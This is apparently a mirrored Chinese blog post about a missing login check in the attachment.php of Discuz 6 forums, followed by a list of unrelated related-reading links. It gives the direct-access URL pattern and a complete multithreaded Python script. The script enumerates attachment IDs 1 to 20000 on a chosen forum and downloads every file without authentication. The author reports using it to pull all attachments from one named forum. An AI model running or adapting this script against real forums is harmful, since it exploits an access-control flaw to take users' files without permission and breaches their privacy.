zoukankan      html  css  js  c++  java
  • 下载discuz 6 论坛的附件

    前段时间我下了个python脚本把emsky的附件全部下载了,之前是因为偶然发现emsky附件不登陆也能访问,直接访问一个url就行了。

    后来发现大部分discuz6的论坛都有这个bug,我想是因为discuz6的attachment.php没有检测用户是否登陆。

    所以,要下载一个附件,这样就行了:

    【论坛url】+attachment.php?atid+【附件id】
    

    当然还有一些论坛可能有点验证机制,比如附件下载页面还要再点一个url,但一般这样的url都是明文的,所以也不难。

    顺便再丢一个通用的很挫的python脚本:

    # -*- coding: gbk -*-
    
    import urllib, urllib2, cookielib
    import os, time
    import re
    import thread
    from os.path import basename
    from urlparse import urlsplit
    
    URL_INDEX=                        #论坛主页
    DIRNAME  = "attdir"                         #下载目录
    ID_START = 1                                #起始附件标号
    ID_END   = 20000                            #结束附件标号
    DIR_NUM  = 1000                             #一个目录内放的文件数
    AID_PLUS_FN = True
    URLATT = URL_INDEX+"/attachment.php?aid="
    
    id_i = ID_START
    
    def download(aid=0):
        global workdir
        try:
            url = "%s%d"%(URLATT,aid)
            r = urllib2.urlopen(url)
            fileName = ""
            if r.info().has_key('Content-Disposition'):
                fileName = r.info()['Content-Disposition'].split('filename=')[1]
                fileName = fileName.replace('"', '').replace("'", "")
            elif r.url != url: 
                fileName = ibasename(urlsplit(r.url)[2])
            if fileName <> "":
                if AID_PLUS_FN == True:
                    fileName = "%08d_%s"%(aid,fileName)
                fpath="%05d000"%(aid/DIR_NUM)
                try:
                    os.chdir(workdir+"/"+fpath)
                except:
                    os.mkdir(workdir+"/"+fpath)
                    os.chdir(workdir+"/"+fpath)
                #print fileName,
                if os.path.isfile(fileName):
                    #print "ignore"
                    pass
                else:
                    f = open(fileName, 'wb')
                    f.write(r.read())
                    f.close()
                    #print "done"
            else:
                pass
        except Exception,e:
                print e
    
    def downloads(id_s,id_e):
        global id_i
        while id_i<=id_e:
            download(id_i)
            id_i = id_i+1
        print "thread ok"
    
    if __name__ == '__main__':
        global workdir
        try:
            os.chdir(DIRNAME)
        except:
            os.mkdir(DIRNAME)
            os.chdir(DIRNAME)
        workdir = os.getcwd()
        print "start:%d
    end:%d
    "%(ID_START,ID_END)
        for i in range(0,10):
            thread.start_new_thread(downloads,(ID_START,ID_END))
        while True:pass
        
         
     
    

      

  • 相关阅读:
    局部 与 整体 修正 逐渐逼近
    en-zh(社会问题)social problems
    单调性 [1 + 1 / (n)]^n
    en-zh(科学技术)science and technology
    mysql函数之截取字符串
    看数据库的文件大小 MySQL Binlog日志的生成和清理规则
    Brouwer不动点
    布尔巴基学派
    量子杨-Baxter方程新解系的一般量子偶构造_爱学术 https://www.ixueshu.com/document/f3385115a33571aa318947a18e7f9386.html
    COMSOL
  • 原文地址:https://www.cnblogs.com/fwindpeak/p/3450717.html
Copyright © 2011-2022 走看看